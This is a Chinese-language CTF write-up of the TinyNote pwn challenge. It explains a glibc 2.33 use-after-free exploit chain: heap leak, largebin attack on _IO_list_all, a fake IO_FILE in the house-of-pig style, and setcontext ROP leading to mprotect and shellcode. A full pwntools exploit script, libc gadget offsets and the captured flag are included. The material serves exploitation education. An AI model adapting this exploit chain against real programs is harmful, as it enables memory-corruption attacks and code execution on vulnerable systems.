西湖论剑2021-TinyNote 题解

阅读量411058

|评论1

|

发布时间 : 2021-12-01 16:30:21

 

前言

在刚结束的西湖论剑线上赛中,有一道挺有意思的 Pwn 题——TinyNote,考察了许多关于高版本的 libc 堆知识,比赛的时候已经可以执行 shellcode,可惜最后没来得及找到 flag 文件2333333,这里给各位师傅分享一下我的解题思路。

 

一、题目分析

首先,我们来分析一下题目。

题目使用了沙箱,禁用了 execve

IDA 静态分析,很容易就发现题目的 delete 函数存在 UAF 漏洞:

不过,题目除了使用沙箱以外,在 malloc 的时候还增加了一道防护措施:

也就是说,我们不能 malloc 到堆的第一页以外位置的 chunk ,否则就会检测不通过,直接 exit

 

二、思路分析

首先,题目使用的是 malloc,而且申请的大小固定为 0x10,这就没有使用 tcache stashing unlink attack的可能了。另外,题目限制了申请的 chunk 必须在堆内存的第一页,这样 tcache 相关的攻击手段也就失效了。但是,题目还开启了沙箱,也就意味着我们需要使用 orwmprotect ,那就必须要执行 setcontext,而要执行 setcontext 就必须想办法劫持 __free_hook。这似乎与只能 malloc 在堆内存的第一页的 chunk 相矛盾,除非我们能够从其他地方执行 malloc 并分配到 __free_hook,联想到 add函数检测失败的 exit,我们很快就会想到 house of pig

这里,先简述一下我的思路(这里显示不出标号,以句号结尾作为分段的标志):

  1. 使用 UAF 泄露出 heap 基址。
  2. 使用 UAF 修改 tcache bin 的数量,然后得到一个 0x240 unsorted chunk(先不释放)。
  3. 通过风水堆分布,得到一个 0x450 和 0x440 的 unsorted chunk
  4. 释放 unsorted chunk,泄露 libc 基址,并将那俩 unsorted chunk 转换成 large chunk,实现 largebin attack,改写 _IO_list_all
  5. 通过多次 UAF 来进行 tcache chunk 的任意写,将放入 _IO_list_alllarge chunk 变成一个 IO_FILE
  6. 见缝插针地利用已有的 tcache chunk,插入相关 gadget 所需参数,为后续 setcontext 劫持 rsp 所需的参数做好准备。
  7. 再次通过多次 UAF 将 ROP 链布置好,执行 read 写到 glibcbss 段上并劫持 rspbss 段上。
  8. 通过 UAF 将 __free_hook 放到合适的 tcache bin 中,为后续的 house of pig 做准备。
  9. 触发 exit 退出主函数,进而执行到 _IO_str_overflow,劫持 __free_hook 并执行 ROP,最终成功将 rsp 劫持到 bss 段上。
  10. 最后,ROP 执行 mprotectheap 变成 RWX 并写入 shellcode,然后劫持程序执行流即可,然后获取 flag 文件名并读取 flag 即可。。

 

三、解题过程

1、泄露 heap 基址

在 libc 2.32 版本之后,对 tcache 增加了一个异或保护机制,具体原理可以看这篇文章。简单来说,tcache->fd 的值现在是 (&tcache->fd >> 12) ^ target,这个 target 就是指向上一个 chunk(按照 tcache 后进先出的顺序来看的话)。

这种机制,虽然增加了传统的堆漏洞利用难度,但却使得 heap 泄露更加简单了,只需要一个 chunk 即可。

add(0)
delete(0)
show(0)
heap_addr = u64(rr(5).ljust(0x8, b'\x00')) << 12
log.success('heap_addr: 0x%x', heap_addr)

2、得到 unsorted chunk

构造 unsorted chunk 其实并不难,我们只要将 0x240tcache number 填满,并添加一个 0x240size 即可。这里,有师傅可能会问:

  1. 为什么要选择 0x240unsorted chunk 而不是其他的呢?
  2. 为什么不直接风水出一个 0x410 以上的 chunk 并释放掉呢?

先说第一个问题,我们来看一下内存分布,unsorted chunk 对应的位置是 heap_addr + 0x50:

可以看到,unsorted chunk 首部就在其对应的 tcache number 的位置,也就是我们只需要构造一次任意写即可完成修改 number 和构造首部的操作。此外,我们可以往下看,我们之后申请 chunk,并不会覆盖到 0x20 指向的 tcachebin 所在位置,从而就无需后续再通过任意写来调整。最重要的一点,我们之后的所有 UAF 利用需要使用到的 chunk 数量刚好可以被这个 unsorted chunk 满足,确保了堆内存的足够利用。同时,这也可以回答第二个问题了,因为堆内存可能一不小心就不够用,需要额外的精力去维护堆分布

    add(0)
    add(1)
    delete(0)
    show(0)
    heap_addr = u64(rr(5).ljust(0x8, b'\x00')) << 12
    log.success('heap_addr: 0x%x', heap_addr)
    length = 0x240
    start = heap_addr + 0x240
    end = start + ((length) - 100)//2
    delete(1)
    poc = ((heap_addr+0x2c0) >> 12) ^(heap_addr+0x50) # 指向 unsorted chunk 首部
    edit(1, p64(poc))
    add(0)
    add(1)
    edit(1, p8(8)*8 + p64(0x241)) # 任意写修改数量并构造首部
    delete(0) # 回收 chunk,节省利用已有的 chunk

    add(0)
    add(1)
    delete(0)
    delete(1)
    poc = ((heap_addr+0x2e0)>>12) ^ (heap_addr+0x60) # 指向 unsorted chunk 首部
    edit(1, p64(poc))
    add(1)
    add(0) # unsorted_chunk: heap+0x10 ---> 得到 unsorted chunk
    log.success('unsorted_chunk: 0x%x', heap_addr+0x60) 
    delete(1) # 回收 chunk,节省利用已有的 chunk

这里,为了节省 chunk,就将其和泄露 heap 基址的步骤合到了一起。

3、风水堆分布,获得两个 large chunk

这里,我们需要风水堆分布,分别构造出 0x4500x440 的 large chunk,内存分布为:

  1. 第一个 large chunk:0x20 --> 0x450 --> 0x20 --> top chunk
  2. 第二个 large chunk:0x20 --> 0x440 --> 0x30 --> top chunk
    add(1)
    edit(1, mchunk_size(0x21))
    add(1)
    edit(1, mchunk_size(0x451))
    for i in range(0x22):
        add(1)

    add(1)
    add(2)
    delete(1)
    delete(2)
    poc = ((heap_addr+0x780)>>12) ^ (heap_addr+0x310)
    edit(2, p64(poc))
    add(2)
    add(1) # 得到一个 0x450 的 chunk,首部位于 heap_addr+0x300
    log.success('large chunk No.1: 0x%x', heap_addr+0x300)
    delete(2) # 回收刚刚利用的 chunk
    add(2)
    edit(2, mchunk_size(0x21))
    add(2)
    edit(2, mchunk_size(0x441))
    add(2)
    add(2)
    for i in range(0x1f):
        add(2)
    add(2)
    edit(2, mchunk_size(0x31))
    add(2)

    delete(0)
    show(0)
    libc.address = u64(rr(8)) - 0x1e0c00
    log.success('libc_addr: 0x%x', libc.address)

    add(0)
    delete(0)
    delete(2)
    poc = ((heap_addr+0xc00)>>12)^((heap_addr+0x7b0))
    edit(2, p64(poc))
    add(0)
    add(2) # 得到一个 0x440 的 chunk,首部位于 heap_addr+0x7a0
    log.success('large chunk No.2: 0x%x', heap_addr+0x7a0)
    delete(0) # 回收刚刚利用的 chunk

由于我们实现任意写,需要连续申请两个 tcache chunk,所以在构造第二个 large chunk 的时候,我们需要将 unsorted chunk 释放掉,将存储的位置空闲出来,那么这个过程便可顺势将 libc 基址获取到。

4、largebin attack

接下来,我们就需要实施 largebin attack 了。这里,可能有师傅会问:我们每次只能申请到 0x10 的 chunk,怎么让这两个 large chunk 进入到 large bin 呢?这里,主要利用到一个比较少见的方法。

很多师父学习 largebin attack 应该都是参考这篇文章,示例代码如下:

#include<stdio.h>
#include<stdlib.h>
#include<malloc.h>

int main(){
    void *p1, *p2, *p3;

    p1 = malloc(0x438);
    malloc(0x18);
    free(p1); // p1 ---> 0x438 unsorted chunk
    p2 = malloc(0x448); // p1 ---> 0x438 large chunk 
}

只要我们申请的 chunk 的 sizeunsorted chunksize 大,那么原本的 unsorted chunk 就会被放入 small chunklarge chunk

但其实还有种情况:当存在两个 unsorted chunk 时(p2---> p1 ---> main_arena),当我们申请 chunk 时,ptmalloc 就会先将 p2 放入 large chunk,然后再切割 p1 去分配 chunk,示例代码:

#include<stdio.h>
#include<stdlib.h>
#include<malloc.h>

int main(){
    void *p1, *p2, *p3;

    p1 = malloc(0x438);
    malloc(0x18);
    p2 = malloc(0x448); 
    maloc(0x18);
    free(p1); // p1 ---> 0x438 unsorted chunk
    free(p2); // p2 ---> 0x448 unsorted chunk
    malloc(0x18); // p2 ---> 0x448 large chunk
}

只要了这点之后,我们就可以将刚刚的两个 large chunk 放入 large bin,从而实现 largebin attack 了。

    delete(1) # 释放掉第一个 large chunk

    add(0)
    add(1) # 第一个 large chunk 放入 large bin
    delete(0)
    delete(1)
    poc = ((heap_addr+0x80)>>12)^((heap_addr+0x320)) # 指向第一个 large chunk 的 fd_nextsize 和 bk_nextsize
    edit(1, p64(poc))
    add(0)
    add(1)
    target = _IO_list_all - 0x20
    edit(1, p64(heap_addr+0x300)+p64(target)) # 修改 b_nextsize 指向 _IO_list_all - 0x20
    delete(0)
    delete(2) # 释放掉第二个 large chunk
    add(0)
    add(0) # 攻击成功,成功将第二个 large chunk 写入 _IO_list_all

我们不妨来看看,第一个 large chunk 的入链过程:

5、构造 FAKE IO_FILE

这里参考 house of pig 最后的 Poc:

fake_IO_FILE = 2*p64(0)
fake_IO_FILE += p64(1)                    #change _IO_write_base = 1
fake_IO_FILE += p64(0xffffffffffff)        #change _IO_write_ptr = 0xffffffffffff
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(heap_base+0x148a0)                # _IO_buf_base
fake_IO_FILE += p64(heap_base+0x148b8)                # _IO_buf_end
fake_IO_FILE = fake_IO_FILE.ljust(0xb0, '\x00')
fake_IO_FILE += p64(0)                    #change _mode = 0
fake_IO_FILE = fake_IO_FILE.ljust(0xc8, '\x00')
fake_IO_FILE += p64(IO_str_vtable)        #change vtable

利用多次的 UAF 对第二个 large chunk 进行修改,最终构造结果如下:

这里,我们需要关注的是红色框标注的两个值,它们分别代表 _IO_buf_base_IO_buf_end,具体作用我们看下 _IO_str_overflow 的源码:

int
_IO_str_overflow (FILE *fp, int c)
{
    ... ...
      char *new_buf;
      char *old_buf = fp->_IO_buf_base;
      size_t old_blen = _IO_blen (fp); // _IO_buf_end - _IO_buf_base
      size_t new_size = 2 * old_blen + 100;
      if (new_size < old_blen)
        return EOF;
      new_buf = malloc (new_size);
      if (new_buf == NULL)
        {
          /*      __ferror(fp) = 1; */
          return EOF;
        }
      if (old_buf)
        {
          memcpy (new_buf, old_buf, old_blen);
          free (old_buf);
          /* Make sure _IO_setb won't try to delete _IO_buf_base. */
          fp->_IO_buf_base = NULL;
        }
    ... ...
}

可以看到,_IO_base_buf 就是 memcpy 的源内存区域,复制的长度满足 2 * old_blen + 100 的关系。所以,为了方便期间,我们可以先用两个变量来代表它们,并计算好长度:

    length = 0x240
    start = heap_addr + 0x240
    end = start + ((length) - 100)//2

显然,我们需要劫持 __free_hook,就要确保 gadget 被复制到 __free_hook。这里,我们可以找一个合适的位置存放 gadget,并用 start 提前存储好它的位置。

6、布置 setcontext 的数据

libc 2.31 看是,setcontext 的代码发生了变化,不再是使用 rdi 而是使用了 rdx

因此,我们需要先想办法修改 rdx,这里需要使用到一个 gadget

mov rdx, qword ptr [rdi + 8] ; 
mov qword ptr [rsp], rax ; 
call qword ptr [rdx + 0x20]

联想到,free 的变量是 rdi,也就是 _IO_base_buf。前面提到,我这里存储的是 heap_addr+0x240 的地址,因此,我们在 heap+0x240 中存放一个合适的地址值,使其满足:

[rdx+0x20] ----> setcontext+61
[rdx+0xa0] ----> 我们劫持的栈帧
[rdx+0xa8] ----> 第一条 ROP 指令

这里,我挑选的位置 rdx 值为 heap+0x40,因为这个位置及不会影响 0x20tcachebin,也不会影响后续存放 ROP 链,以及最终劫持 __free_hook 所需的 tcache bin。那么,我们就见缝插针,在前面的步骤中,将这些值存放进去即可,具体可以看最后的 EXP。

7、将 free_hook 放入 tcache bin

这个和前面的步骤一样,将 0x240tcachebin 写入 __free_hook 即可(加上首部是 0x250)。

    add(0)
    add(1)
    delete(0)
    delete(1)
    poc = ((heap_addr+0x180)>>12) ^ (heap_addr+0x850)
    edit(1, p64(poc))
    add(0)
    add(1)
    edit(1, p64(0) + p64(0))
    delete(0)
    add(2)
    add(2)
    edit(2, p64(0)+p64(free_hook))

8、构造 ROP 链

最后,就是要构造 ROP 链来执行 read 并将 rsp 劫持到我们写入的位置,这样可以方便我们后续的操作。这里,我选择的位置是 heap+0x1c0,构造方法同样是用 UAF,最终构造出来的 ROP 链如下:

这里,可能有师傅会问,这里怎么少了 pop rdi 呢?还记得前面提到的 setcontext 吗?

[rdx+0x20] ----> setcontext+61
[rdx+0xa0] ----> 我们劫持的栈帧
[rdx+0xa8] ----> 第一条 ROP 指令

没错,pop rdi 就是放到这里。

9、劫持 rsp 和 rip

最后,我们只需要想办法触发 exit ,那么我们就往 0x20tcache bin 上放入 __free_hook,然后再申请它即可(顺便一提,到这里刚刚好就把 unsorted chunk 用完了)。

    add(1)
    add(2)
    delete(1)
    delete(2)
    poc = ((heap_addr+0x280)>>12) ^ (free_hook) # 放入 free_hook 到 0x20 的 tcache bin 中
    edit(2, p64(poc))
    add(1)
    add(2) # 触发 exit

至此,我们就成功劫持 rsprip 了。

当然,最后出题人并不打算让我们直接 orw 获取 flag,还需要获取文件名,文件名每次随机生成的,格式位 haha_flag_xxxxx

这里,为了方便,我就直接执行 mprotectheap 内存区变成 RWX,然后执行 shellcode 获取文件名,最后读取文件即可。

    filename_addr = new_stack + 0x8 * 27
    poc = b''
    poc += p64(pop_rdi)
    poc += p64(heap_addr)
    poc += p64(pop_rsi)
    poc += p64(0x4000)
    poc += p64(pop_rdx)
    poc += p64(7)
    poc += p64(libc.sym['mprotect'])

    poc += p64(pop_rdi)
    poc += p64(0)
    poc += p64(pop_rsi)
    poc += p64(heap_addr)
    poc += p64(pop_rdx)
    poc += p64(0x100)
    poc += p64(libc.sym['read'])
    poc += p64(heap_addr)
    s(poc)

    shellcode = b''
    shellcode += asm(shellcraft.open('./'))
    shellcode += asm(shellcraft.getdents64(3, read_buf, 0x400))
    shellcode += asm(shellcraft.write(1,read_buf, 0x400))
    shellcode += asm('''
        mov rdi, 0; mov rsi, 0x%x;mov rdx, 0x100;mov rax, 0; syscall; push rsi; ret;
        ''' % (heap_addr+0x100))

    s(shellcode)
    if local:
        r()
        filename = '/flag'
    else:
        ru(b'haha_')
        filename = 'haha_'+rr(10).decode()
        r()
        r()

    shellcode = asm(shellcraft.cat(filename))
    s(shellcode)
    log.success('flag: %s', ru(b'}').decode())

至此,我们就完成了这道题目的解答。

 

四、完整 EXP

由于整个做题过程比较混乱,我在 EXP 中添加了许多注释,供师傅们查看。

#encoding:utf-8
from pwn import *
import re

ip = '82.157.6.175'
port = 24200 
local = 0
filename = './TinyNote'
PREV_INUSE = 0x1
IS_MMAPPED = 0x2
NON_MAIN_ARENA = 0x4

def create_connect():
    global io, elf, libc, libc_name

    elf = ELF(filename)
    context(os=elf.os, arch=elf.arch)

    if local:
        io = process(filename)
        if elf.arch == 'amd64':
            libc_name = '/lib/x86_64-linux-gnu/libc.so.6'
        elif elf.arch == 'i386':
            libc_name = '/lib/i386-linux-gnu/libc.so.6'
    else:
        io = remote(ip, port)
    try:
        libc_name = 'libc-2.33.so'
        libc = ELF(libc_name)
    except:
        pass

cc = lambda : create_connect()
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sla = lambda x, y: io.sendlineafter(x, y)
sa = lambda x, y: io.sendafter(x, y)
g = lambda x: gdb.attach(io, x)

r = lambda : io.recv(timeout=1)
rr = lambda x: io.recv(x, timeout=1)
rl = lambda : io.recvline(keepends=False)
ru = lambda x : io.recvuntil(x)
ra = lambda : io.recvall(timeout=1)
it = lambda : io.interactive()
cl = lambda : io.close()

def add(idx):
    sa(b'Choice:', b'1')
    sa(b'Index:', str(idx).encode())


def edit(idx, content):
    sa(b'Choice:', b'2')
    sa(b'Index:', str(idx).encode())
    sa(b'Content:', content.encode() if isinstance(content, str) else content)

def show(idx):
    sa(b'Choice:', b'3')
    sa(b'Index:', str(idx).encode())
    ru(b'Content:')

def delete(idx):
    sa(b'Choice:', b'4')
    sa(b'Index:', str(idx).encode())

def mchunk_size(size):
    return p64(0) + p64(size)

def pwn():
    cc()

    add(0)
    add(1)
    delete(0)
    show(0)
    heap_addr = u64(rr(5).ljust(0x8, b'\x00')) << 12
    log.success('heap_addr: 0x%x', heap_addr)

    # 提前记录好 _IO_buf_base 和 _IO_buf_end 的相关参数
    length = 0x240
    start = heap_addr + 0x240 
    end = start + ((length) - 100)//2

    delete(1)
    poc = ((heap_addr+0x2c0) >> 12) ^(heap_addr+0x50)
    edit(1, p64(poc))
    add(0)
    add(1)
    # 修改 0x240 的 tcache 数量,并构造好首部
    edit(1, p8(8)*8 + p64(0x241))
    delete(0)

    add(0)
    add(1)
    delete(0)
    delete(1)
    # 将 fd 指向刚刚构造好的 0x240 chunk
    poc = ((heap_addr+0x2e0)>>12) ^ (heap_addr+0x60)
    edit(1, p64(poc))
    add(1)
    add(0) # unsorted_chunk: heap+0x10
    log.success('unsorted_chunk: 0x%x', heap_addr+0x60)
    delete(1)

    add(1)
    edit(1, mchunk_size(0x21))
    add(1)
    edit(1, mchunk_size(0x451))
    for i in range(0x22):
        add(1)

    add(1)
    add(2)
    delete(1)
    delete(2)
    poc = ((heap_addr+0x780)>>12) ^ (heap_addr+0x310)
    edit(2, p64(poc))
    add(2)
    # 获得第一块 largebin_chunk,地址为 heap+0x300
    add(1) 
    log.success('large chunk No.1: 0x%x', heap_addr+0x300)
    delete(2)

    add(2)
    edit(2, mchunk_size(0x21))
    add(2)
    edit(2, mchunk_size(0x441))
    add(2)
    add(2)
    # 这里提前将 _IO_buf_end 的值填上
    edit(2, p64(end))
    for i in range(0x1f):
        add(2)
    add(2)
    edit(2, mchunk_size(0x31))
    add(2)

    delete(0)
    show(0)
    libc.address = u64(rr(8)) - 0x1e0c00
    log.success('libc_addr: 0x%x', libc.address)
    _IO_list_all = libc.sym['_IO_list_all']
    _IO_str_jumps = libc.address + 0x1e2560
    free_hook = libc.address + 0x1e3e20
    _IO_str_overflow = libc.address + 0x8fbb0
    setcontext = libc.address + 0x529ad
    # 0x000000000014a0a0 : mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]
    hijack_rsp = libc.address + 0x14a0a0
    # 0x0000000000028a55 : pop rdi ; ret
    pop_rdi = libc.address + 0x28a55
    # 0x000000000002a4cf : pop rsi ; ret
    pop_rsi = libc.address + 0x2a4cf
    # 0x00000000000c7f32 : pop rdx ; ret
    pop_rdx = libc.address + 0xc7f32
    # 0x0000000000044c70 : pop rax ; ret
    pop_rax = libc.address + 0x44c70
    # 0x000000000006105a: syscall; ret;
    syscall = libc.address + 0x6105a
    # 0x59020 : mov rsp, rdx ; ret
    mov_rdx_rsp = libc.address + 0x59020
    # 0x0000000000033af2 : pop rsp ; ret
    pop_rsp = libc.address + 0x33af2
    ret = libc.address + 0x26699

    mprotect = libc.sym['mprotect']
    new_stack = libc.bss()
    read_buf = libc.bss() + 0x200


    add(0)
    delete(0)
    delete(2)
    # heap_addr + 0x60 对应 [rdx + 0x20] 的位置,放置 setcontext+61 的地址
    edit(0, p64(setcontext))
    poc = ((heap_addr+0xc00)>>12)^((heap_addr+0x7b0))
    edit(2, p64(poc))
    add(0)
    # 获得第二块 largebin_chunk,地址为 heap+0x300
    add(2)
    log.success('large chunk No.2: 0x%x', heap_addr+0x7a0)
    delete(0)

    delete(1)

    add(0)
    # 第一个 large chunk 入链
    add(1)
    delete(0)
    delete(1)
    poc = ((heap_addr+0x80)>>12)^((heap_addr+0x320))
    edit(1, p64(poc))
    add(0)
    add(1)
    target = _IO_list_all - 0x20
    # 布置好 largebin attack 使用的 Poc
    edit(1, p64(heap_addr+0x300)+p64(target))
    delete(0)
    delete(2)

    add(0)
    # 第二个 large chunk 入链,写入 _IO_list_all
    add(0)
    edit(1, p64(heap_addr+0x300)+p64(heap_addr+0x300))
    edit(2, p64(0)+p64(0))


    add(0)
    add(1)
    delete(1)
    # heap_addr + 0xe0 -----> mov rsp, [rdx + 0xa0]
    # heap_addr + 0xe8 -----> mov rcx, [rdx + 0xa8]; push rcx
    # 这里我们就可以放入第一条 ROP 指令
    edit(1, p64(heap_addr+0x1c0)+p64(pop_rdi))
    delete(0)
    poc = ((heap_addr+0xe0)>>12) ^ (heap_addr+0x870)
    edit(0, p64(poc))
    add(0)
    add(1)
    # 修改 FAKE IO_FILE 的 vtable 为 _IO_str_jumps
    edit(1, p64(0)+p64(_IO_str_jumps))
    delete(0)

    add(0)
    add(1)
    delete(0)
    delete(1)
    poc = ((heap_addr+0x100)>>12) ^ (heap_addr+0x7d0)
    edit(1, p64(poc))
    add(0)
    add(1)
    # 填充 FAKE IO_FILE,写入 _IO_buf_base
    edit(1, p64(0) + p64(start))
    delete(0)

    add(0)
    add(1)
    delete(0)
    delete(1)
    poc = ((heap_addr+0x120)>>12) ^ (heap_addr+0x7f0)
    edit(1, p64(poc))
    add(0)
    add(1)
    # 填充 FAKE IO_FILE
    edit(1, p64(0) + p64(0))
    delete(0)

    add(0)
    add(1)
    delete(0)
    delete(1)
    poc = ((heap_addr+0x140)>>12) ^ (heap_addr+0x810)
    edit(1, p64(poc))
    add(0)
    add(1)
    # 填充 FAKE IO_FILE
    edit(1, p64(0) + p64(0))
    delete(0)

    add(0)
    add(1)
    delete(0)
    delete(1)
    poc = ((heap_addr+0x160)>>12) ^ (heap_addr+0x830)
    edit(1, p64(poc))
    add(0)
    add(1)
    # 填充 FAKE IO_FILE
    edit(1, p64(0) + p64(0))
    delete(0)

    add(0)
    add(1)
    delete(0)
    delete(1)
    poc = ((heap_addr+0x180)>>12) ^ (heap_addr+0x850)
    edit(1, p64(poc))
    add(0)
    add(1)
    edit(1, p64(0) + p64(0))
    delete(0)
    add(2)
    add(2)
    edit(2, p64(0)+p64(free_hook))

    # heap_addr + 0x1c0
    add(0)
    add(1)
    delete(0)

    # heap_addr + 0x1c0: 0, pop rsi
    edit(0, p64(0)+p64(pop_rsi)) 
    delete(1)
    poc = ((heap_addr+0x1e0)>>12) ^ (heap_addr+0x1d0)
    edit(1, p64(poc))
    add(0)
    # heap_addr + 0x1e0: 0x100, &read
    edit(0, p64(0x100)+p64(libc.sym['read'])) 
    add(1)
    # heap_addr + 0x1d0: new_stack, pop rdx
    edit(1, p64(new_stack)+p64(pop_rdx)) 

    add(0)
    add(1)
    delete(0)
    delete(1)
    poc = ((heap_addr+0x220)>>12) ^ (heap_addr+0x1f0)
    edit(1, p64(poc))
    add(1)
    add(2)
    # heap_addr + 0x1f0: pop rsp, &new_stack
    edit(2, p64(pop_rsp)+p64(new_stack))
    edit(1, p64(new_stack))

    add(0) # heap_addr + 0x240
    edit(0, p64(hijack_rsp)+p64(heap_addr+0x40)) 
    # 第一个对应的就是拷贝到 free_hook 的 gadget 地址,执行 gadget
    # 第二个对应的就是 mov rdx, qword ptr [rdi+8]

    add(1)
    add(2)
    delete(1)
    delete(2)
    poc = ((heap_addr+0x280)>>12) ^ (free_hook)
    edit(2, p64(poc))
    add(1)

    add(2)

    filename_addr = new_stack + 0x8 * 27
    # 第一段 ROP:执行 mprotect,将 heap 内存区域变成 RWX
    poc = b''
    poc += p64(pop_rdi)
    poc += p64(heap_addr)
    poc += p64(pop_rsi)
    poc += p64(0x4000)
    poc += p64(pop_rdx)
    poc += p64(7)
    poc += p64(libc.sym['mprotect'])

    # 第二段 ROP:将 shellcode 写入 heap 并跳转执行
    poc += p64(pop_rdi)
    poc += p64(0)
    poc += p64(pop_rsi)
    poc += p64(heap_addr)
    poc += p64(pop_rdx)
    poc += p64(0x100)
    poc += p64(libc.sym['read'])
    poc += p64(heap_addr)
    s(poc)

    # 获取 flag 文件名
    shellcode = b''
    shellcode += asm(shellcraft.open('./'))
    shellcode += asm(shellcraft.getdents64(3, read_buf, 0x400))
    shellcode += asm(shellcraft.write(1,read_buf, 0x400))
    shellcode += asm('''
        mov rdi, 0; mov rsi, 0x%x;mov rdx, 0x100;mov rax, 0; syscall; push rsi; ret;
        ''' % (heap_addr+0x100))

    s(shellcode)
    if local:
        r()
        filename = '/flag'
    else:
        ru(b'haha_')
        filename = 'haha_'+rr(10).decode()
        r()
        r()

    # 获取 flag
    shellcode = asm(shellcraft.cat(filename))
    s(shellcode)
    log.success('flag: %s', ru(b'}').decode())
    # DASCTF{9d0e060bc2becb1514235e96fd121161}
    cl()

if __name__ == '__main__':
    pwn()

最后,放一张结果图:

以上便是我的整个解题过程,如果其中有讲得不对的地方,望各位师傅批评指正。

本文由callmecro原创发布

转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/260059

安全客 - 有思想的安全新媒体

分享到:微信
+16赞
收藏
callmecro
分享到:微信

发表评论

内容需知
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 三六零数字安全科技集团有限公司 安全客 All Rights Reserved 京ICP备08010314号-66